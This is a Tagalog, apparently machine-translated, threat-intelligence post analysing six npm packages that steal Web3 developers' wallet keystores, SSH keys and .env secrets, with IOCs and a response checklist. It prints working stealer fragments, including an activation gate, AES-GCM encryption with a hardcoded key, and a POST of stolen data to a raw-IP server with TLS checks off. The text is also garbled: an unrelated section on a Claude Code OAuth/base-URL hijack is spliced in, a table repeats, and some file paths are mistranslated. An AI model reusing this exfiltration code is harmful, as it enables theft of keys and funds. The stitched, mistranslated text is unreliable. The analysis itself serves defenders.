Tl; DR
Noong Mayo 6, 2026, isang nag-iisang npm publisher, namikazesarada010206, naglabas ng anim na malisyosong pakete na tumatarget sa ecosystem ng Ethereum, Solidity, at DeFi developer.
Ang mga pakete, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, at web3-utils-core, gumamit ng mga kapani-paniwalang pangalan na idinisenyo upang magmukhang mga helper library para sa mga sikat na Web3 tooling.
Lahat ng anim na pakete ay naglalaman ng parehong telemetry.js file. Ang file ay byte-identical sa buong cluster, na may SHA-256:
Hindi gumagana ang malware sa oras ng pag-install. Walang preinstall or postinstall hook. Sa halip, ito ay nag-a-activate kapag ang pakete ay na-import sa pamamagitan ng require().
Mahalaga ang detalyeng iyan.
Naghihintay ang implant hanggang sa aktwal na gamitin ng isang developer ang package. Pagkatapos ay sinusuri nito kung ang workstation ay mukhang isang tunay na Ethereum / Solidity development environment. Naghahanap ito ng mga Alchemy o Infura key, private key, mnemonics, deployer key, o isang lokal na direktoryo ng Foundry.
Kung tumutugma ang host, kokolektahin ng magnanakaw ang mga SSH private key, mga keystore ng Foundry / Geth / Brownie wallet, .env* mga file, at mga sensitibong environment variable. Ine-encrypt nito ang bundle gamit ang AES-256-GCM gamit ang isang hardcoded passphrase at ini-exfiltrate ito sa isang raw IPv4 C2 endpoint na hindi pinagana ang TLS verification.
Kinumpirma ng Malware Early Warning (MEW) system ng Xygeni na lahat ng anim na pakete ay malisyoso. Nakabinbin pa ang bundle ng ulat ng pagtanggal ng npm registry.
Ang Kumpol: Anim na Pakete, Isang Tagapaglathala
Ang account ng tagapaglathala namikazesarada010206 ay naka-link sa hindi na-verify na Gmail address namikazesarada010206@gmail.com.
Ang kampanya ay lumitaw bilang isang biglaang publikasyon na nag-iisang araw lamang noong Mayo 6, 2026. Ang lahat ng anim na pakete ay may bersyon bilang 1.0.0, ay walang runtime dependencies, at nagpadala lamang ng tatlong file:
package.json index.js telemetry.js Idineklara rin nila ang parehong source repository:
https://github.com/harunosakura030303-maker/evmchain-config Ang unang tatlong pakete ay nahuli ng mga MEW scanner sa unang publikasyon. Ang natitirang tatlo ay force-flaged matapos ang pagsusuri ng analyst sa npm profile ng publisher. Dati, pareho na ang byte-identical. telemetry.js ay nakumpirma sa buong cluster, isinara ang mga ito bilang malisyoso dahil sa consistency.
| pakete | bersyon | Na-publish ang npm | Tiket ng MEW | kuru-kuro |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Nakakahamak na |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Nakakahamak na |
| mga utils na may core ng hardhat | 1.0.0 | 2026-05-06 | #51051 | Nakakahamak na |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Malisyoso, ayon sa pagkakapare-pareho |
| mga kagamitan sa pandayan | 1.0.0 | 2026-05-06 | #51071 | Malisyoso, ayon sa pagkakapare-pareho |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Malisyoso, ayon sa pagkakapare-pareho |
Ang estratehiya sa pagpapangalan ay diretso ngunit epektibo.
Ang mga paketeng ito ay hindi nagpapanggap na eksaktong mga pangalan sa upstream. Sa halip, gumagamit sila ng mga kapani-paniwalang hulaping "utility" tulad ng -core, -utils, at -utils-coreDahil diyan, magmumukha silang mga kasamang library na maaaring asahan ng isang developer na makita malapit sa Web3 tooling.
| Malisyosong Pakete | Lehitimong Target |
|---|---|
| viem-core | viem, isang sikat na kliyente ng Ethereum TypeScript |
| viem-utils-core | viem |
| mga utils na may core ng hardhat | hardhat, isang pangunahing kapaligiran sa pag-develop ng Solidity |
| evm-utils | Pangkalahatang namespace ng tooling ng EVM |
| mga kagamitan sa pandayan | pandayan, isang kadena ng kagamitan para sa Solididad |
| web3-utils-core | web3-utils, mga katulong sa Web3.js |
Ito ang huwaran ng "karagdagang pakete": hindi "Ako ang tunay na pakete," kundi "Mukha akong isang makatwirang katulong sa totoong pakete."
Para sa mga DeFi developer na mabilis kumilos, sapat na iyon para lumikha ng panganib.
Ano ang Mangyayari Kapag Na-import ang Pakete
Ang kadena ng pag-atake ay maliit, sinadya, at nakatuon sa mga kapaligirang pang-development ng crypto.
Walang pangkabit para sa pag-install. Sa halip, ang bawat pakete ay may kasamang index.js na nag-e-export ng stub functionality at pagkatapos ay naglo-load ng malisyosong telemetry module.
require('./telemetry').init(); Nangangahulugan ito na ang malware ay mag-a-activate sa unang pag-import.
Iyan ay kapaki-pakinabang sa operasyon para sa attacker. Maraming scanner at sandbox ang nakatuon sa pag-uugali sa oras ng pag-install. Naghihintay ang package na ito hanggang sa aktwal itong magamit ng isang developer, build script, test suite, o runtime path.
Activation Gate: Mag-fire Lamang sa mga Tunay na Web3 Developer Workstation
Ang pinakamahalagang bahagi ng implant ay ang activation gate.
Sinusuri ng malware ang mga environment variable na karaniwang matatagpuan sa mga makinang pang-develop ng Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Sinusuri rin nito kung tila naka-install ang Foundry:
fs.existsSync(path.join(os.homedir(), '.foundry')) Kung wala sa mga kundisyon na ito ang totoo, babalik ang function at walang gagawin.
Dahil dito, mas tahimik ang package sa mga generic analysis environment. Ang isang sandbox na walang Foundry, Alchemy keys, Infura keys, private keys, o mnemonics ay maaaring makakita ng mukhang hindi nakakapinsalang import.
Sa isang katugmang host, ang malware ay naghihintay ng 60 hanggang 90 segundo bago makuha:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Binabawasan ng pagkaantala ang malinaw na ugnayan sa pagitan ng pag-angkat at pag-exfiltration. .unref() Hinahayaan din ng tawag na lumabas nang normal ang proseso ng host kung ang pakete ay na-import sa isang panandaliang script.
Hindi ito maingay na pag-uugali ng smash-and-grab. Ito ay isang naka-target na stealer na idinisenyo upang maiwasan ang pagtakbo maliban na lang kung ang kapaligiran ng developer ay karapat-dapat na nakawin.
Ang Kinokolekta ng Magnanakaw
Kapag nakapasa na ang activation gate, ang malware ay nangongolekta mula sa mga source na pinakamahalaga sa Web3 development: mga private key, wallet keystore, deployment credential, cloud secret, npm token, at local project configuration.
| pinagmulan | Ano ang Kinokolekta |
|---|---|
| proseso.env | Anumang baryabol na tumutugma sa /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Mga file na naglalaman ng PRIVATE KEY o BEGIN OPENSSH, kasama ang buong nilalaman ng file |
| ~/.pandayan/mga tindahan ng susi/* | Mga file ng keystore ng wallet ng pandayan |
| ~/.ethereum/keystore/* | Mga file ng keystore ng Geth wallet |
| ~/.brownie/mga account/* | Mga file ng keystore ng brownie wallet |
| ${cwd}/.env | Buong nilalaman ng file |
| ${cwd}/.env.local | Buong nilalaman ng file |
| ${cwd}/.env.production | Buong nilalaman ng file |
| ${cwd}/.env.development | Buong nilalaman ng file |
| os.hostname() | Metadata ng host |
| crypto.randomUUID() | Tagatukoy ng biktima/sesyon |
| Petsa.ngayon() | Stamp ng oras ng koleksyon |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com Ang mga token ng ATTA ay:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Hindi pa namin makumpirma kung ang telemetry ay sariling analytics ng operator o isang hiwalay na monetized channel. Pareho ang mga ATTA token sa parehong sample na aming sinuri.
Kumpol B: heibai
claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack
Ang sample noong Abril 1 ang mas magaspang at mas naunang bahagi ng kampanya.
heibai:2.1.88-claude.hk-4 ay nai-publish sa pamamagitan ng wuguoqiangvip28, isang account na nilikha noong Hunyo 7, 2025. Malinaw na binago ng pakete ang bersyon nito laban sa lehitimong 2.1.88 Paglabas na antropiko.
Hindi nito inaabuso ang CA-cert MITM. Sa halip, nagsisinungaling ito sa gumagamit tungkol sa OAuth endpoint.
Ang mga malisyosong karagdagan bukod pa sa leaked na source ng Claude Code ay kinabibilangan ng:
| pinagmulan | Ano ang Kinokolekta |
|---|---|
| proseso.env | Anumang baryabol na tumutugma sa /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Mga file na naglalaman ng PRIVATE KEY o BEGIN OPENSSH, kasama ang buong nilalaman ng file |
| ~/.pandayan/mga tindahan ng susi/* | Mga file ng keystore ng wallet ng pandayan |
| ~/.ethereum/keystore/* | Mga file ng keystore ng Geth wallet |
| ~/.brownie/mga account/* | Mga file ng keystore ng brownie wallet |
| ${cwd}/.env | Buong nilalaman ng file |
| ${cwd}/.env.local | Buong nilalaman ng file |
| ${cwd}/.env.production | Buong nilalaman ng file |
| ${cwd}/.env.development | Buong nilalaman ng file |
| os.hostname() | Metadata ng host |
| crypto.randomUUID() | Tagatukoy ng biktima/sesyon |
| Petsa.ngayon() | Stamp ng oras ng koleksyon |
Ang listahan ng target ay lubos na tiyak. Hindi ito pangkaraniwang pagnanakaw ng browser o malawakang pag-scrape ng kredensyal. Ito ay para sa mga developer na bumubuo, sumusubok, nagde-deploy, o nagpapatakbo ng mga aplikasyon ng Ethereum.
Ang pagsasama ng mga keystore ng Foundry, Geth, at Brownie ay lalong mahalaga. Ang mga file na ito ay maaaring kumakatawan sa direktang pag-access sa mga wallet o mga pagkakakilanlan ng deployment. Kung ang attacker ay maaaring ipares ang mga ito sa mga password, mnemonics, o mga sikreto sa kapaligiran, maaari nilang ilipat ang mga pondo, magpanggap na mga deployer, o ikompromiso ang mga operasyon ng smart contract.
Pag-encrypt Bago ang Exfiltration
Ine-encrypt ng malware ang nakalap na datos bago ito ipadala.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Ang naka-hardcode na passphrase ay:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Ang panghuling payload ay nakabalot bilang JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Hindi ginagawang mas advanced ng encryption ang malware nang mag-isa. Gayunpaman, ginagawang mas mahirap nito ang pag-inspeksyon ng network. Makikita ng isang defender na nagbabantay sa paglabas ang isang JSON payload, ngunit hindi ang mga ninakaw na key, wallet file, o .env mga nilalaman na walang hardcoded na passphrase at decryption logic.
Pag-exfiltration papunta sa isang Raw IPv4 C2
Ang landas ng exfiltration ay naka-hardcode:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Ang malware ay nagpapadala ng data sa:
https://76.13.37.80:8443/api/v1/telemetry Dalawang detalye ang kapansin-pansin.
Una, ang C2 ay isang raw IPv4 address sa halip na isang domain. Inaalis nito ang pangangailangan para sa pagpaparehistro ng domain at iniiwasan ang ilang mga pagtuklas batay sa domain.
Pangalawa, hindi pinagana ang pag-verify ng TLS gamit ang:
rejectUnauthorized: false Pinapayagan nito ang malware na tumanggap ng anumang sertipiko, kabilang ang mga sertipikong nilagdaan mismo. Sa madaling salita, ang attacker ay makakakuha ng naka-encrypt na transportasyon nang hindi nangangailangan ng isang wastong pampublikong sertipiko.
Walang retry logic at walang fallback host. Tahimik na nilulunok ang mga error. Pinapanatili nitong tahimik ang package kung ang C2 ay offline o hindi makontak.
Bakit Mahalaga ang Kampanya na Ito
Karamihan sa mga malisyosong npm package na naglalayong habulin ng mga developer ang malawak na kredensyal: mga npm token, AWS key, GitHub token, o .npmrc file.
Pinaliliit ng kampanyang ito ang target.
Naghahanap ito ng mga senyales na ang makina ay pagmamay-ari ng isang Ethereum o Solidity developer. Pagkatapos ay kinukuha nito nang eksakto ang mga asset na mahalaga sa kapaligirang iyon: mga wallet keystore, private key, mnemonics, deployer key, .env mga file, at mga SSH key.
Dahil diyan, mas mapanganib ang kampanya para sa mga Web3 team kaysa sa isang generic na npm stealer.
Ang isang matagumpay na impeksyon ay maaaring maglantad sa:
- Mga wallet ng pag-deploy
- Mga susi ng admin ng smart contract
- Mga susi ng tagapagbigay ng RPC
- Mga kredensyal sa pag-deploy ng cloud
- mga token sa paglalathala ng npm
- Access sa SSH sa imprastraktura ng developer o build
- Mga sikreto ng proyekto na nakaimbak sa
.envfile - Mga keystore ng wallet para sa Foundry, Geth, o Brownie
Malinaw din na ipinapakita ng mga pangalan ng pakete ang social engineering. Tinatarget nila ang ecosystem ng Web3 developer sa pamamagitan ng mga pamilyar na pangalan ng tool: viem, hardhat, foundry, evm, at web3.
Hindi kailangang ikompromiso ng aktor ang mga totoong proyekto. Kailangan lang nila ng isang developer para mag-install ng mukhang makatwirang companion package.
Mga Indikasyon ng Kompromiso at Pagtuklas
| Mga Pakete at Tagapaglathala | |
|---|---|
| Patlang | halaga |
| tagapaglathala ng npm | namikazesarada010206 |
| Email ng tagapaglathala | namikazesarada010206@gmail.com |
| Na-verify ang email | Hindi |
| SCM napatunayan na | Hindi |
| Iskor ng reputasyon | 1.0 |
| Pakete | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| Mga bersyon | Lahat ng 1.0.0 |
| Repositoryo ng pinagmulan | https://github.com/harunosakura030303-maker/evmchain-config |
| Nakumpirmang malisyoso | Lahat ng anim na pakete |
| network | |
|---|---|
| uri | halaga |
| C2 endpoint | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2 port | 8443/tcp |
| Pag-uugali ng TLS | tanggihanHindi Awtorisado: mali |
| Iskema ng kargamento | {"v":2,"iv": "d": "t": } |
| Mga File at Hash | |
|---|---|
| uri | halaga |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Layout ng pakete | package.json, index.js, telemetry.js |
| Bilang ng file | 3 |
| Tinatayang kabuuang laki | 3.4 KB |
Mga Senyales ng Pag-activate
Sinusuri ng malware ang mga environment variable na ito:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Sinusuri rin nito ang:
~/.foundry/ Mga Naka-target na Landas ng Host
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Regex ng Koleksyon
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Mga Tala sa Pagtuklas
May ilang patakaran na nakakaapekto sa kampanyang ito nang hindi nangangailangan ng kumpletong pagsusuri sa pag-uugali.
Una, i-scan ang mga lockfile para sa anim na pangalan ng malisyosong pakete:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Anumang laban sa package-lock.json, yarn.lock, pnpm-lock.yaml, O node_modules dapat ituring ang kasaysayan bilang isang seryosong pangyayari.
Pangalawa, subaybayan ang mga proseso ng Node.js na nagbabasa ng mga path ng wallet keystore:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Bihirang maging lehitimong pag-uugali ito para sa isang paketeng na-import bilang isang helper dependency. Ito ay lalong kahina-hinala kapag sinusundan ng papalabas na aktibidad ng network.
Pangatlo, harangan o alertuhan ang mga koneksyon sa HTTPS sa:
76.13.37.80:8443 Lalo na kapag ang landas ng kahilingan ay:
/api/v1/telemetry Pang-apat, maghanap ng mga npm package na pinagsasama ang mga katangiang ito:
- Bagong publisher o mababang reputasyon
- Hindi na-verify na Gmail account
- Pangalan ng paketeng katabi ng Web3
- Walang makabuluhang kasaysayan ng repositoryo
- Maliit na layout ng pakete
index.jsna naglo-load ng telemetry o helper file- Walang mga dependency sa runtime
- Sensitibong koleksyon ng variable ng kapaligiran
- Pag-access sa keystore ng Wallet
Mas kapaki-pakinabang ang pattern na ito kaysa sa isang IOC dahil maaaring baguhin ng susunod na package ang IP address ngunit panatilihin ang parehong targeting logic.
Checklist ng Tugon sa Kompromiso
Kung gumamit ang isang developer ng isa sa anim na pakete at ang kanilang kapaligiran ay tugma sa activation gate, ituring ang workstation bilang nakompromiso.
Kabilang dito ang mga makinang may naka-install na Foundry, mga Alchemy o Infura key sa kapaligiran, mga pribadong key, mnemonics, o mga deployer key.
Inirerekomendang tugon:
- Idiskonekta ang host mula sa network.
- Panatilihin
node_modules, mga lockfile, kasaysayan ng shell, at mga kaugnay na log para sa forensics. - I-rotate ang bawat SSH keypair sa ilalim
~/.ssh/. - I-rotate ang mga susi ng wallet para sa bawat keystore sa ilalim
~/.foundry,~/.ethereum, at~/.brownie. - Ilipat ang mga pondo sa mga bagong wallet.
- Iikot ang bawat sikretong nakaimbak
.env*mga file sa mga repositoryo kung saan nagtrabaho ang developer. - I-rotate ang mga environment secret na tumutugma sa collection regex, kabilang ang mga AWS key, npm token, deploy token, API key, private key, seeds, at mnemonics.
- Aktibidad ng audit cloud, npm, GitHub, RPC provider, at blockchain simula nang unang mai-install ang package.
- Muling i-imahe ang workstation bago gamitin muli.
Ang Dapat Alisin ng mga Tagapagtanggol
Ipinapakita ng kampanyang ito kung paano umuunlad ang npm typosquatting kaugnay ng mga high-value developer ecosystem.
Hindi kailangan ng aktor ng pagtitiyaga. Hindi nila kailangan ng paglilihim. Hindi nila kailangan ng kahit na pagpapatupad sa oras ng pag-install.
Sa halip, umasa sila sa tatlong bagay:
- Mga kapani-paniwalang pangalan ng pakete ng Web3
- Pag-activate lamang sa mga totoong makinang pang-develop ng crypto
- Direktang pagnanakaw ng mga file at mga sikretong pinakamahalaga sa mga developer ng Ethereum
Dahil dito, madaling makaligtaan ang kampanya sa malawakang pag-scan at mapanganib kapag napunta ito sa tamang kapaligiran.
Para sa mga Web3 team, malinaw ang aral: ituring ang mga pangalan ng dependency bilang bahagi ng iyong threat model. Ang isang package na mukhang hindi nakakapinsalang katulong ay maaari pa ring maging pinakamaikling landas patungo sa pagkompromiso sa wallet.
Naiulat na sa npm registry. Ia-update namin ang post na ito kapag naalis na ang publisher account at mga package.




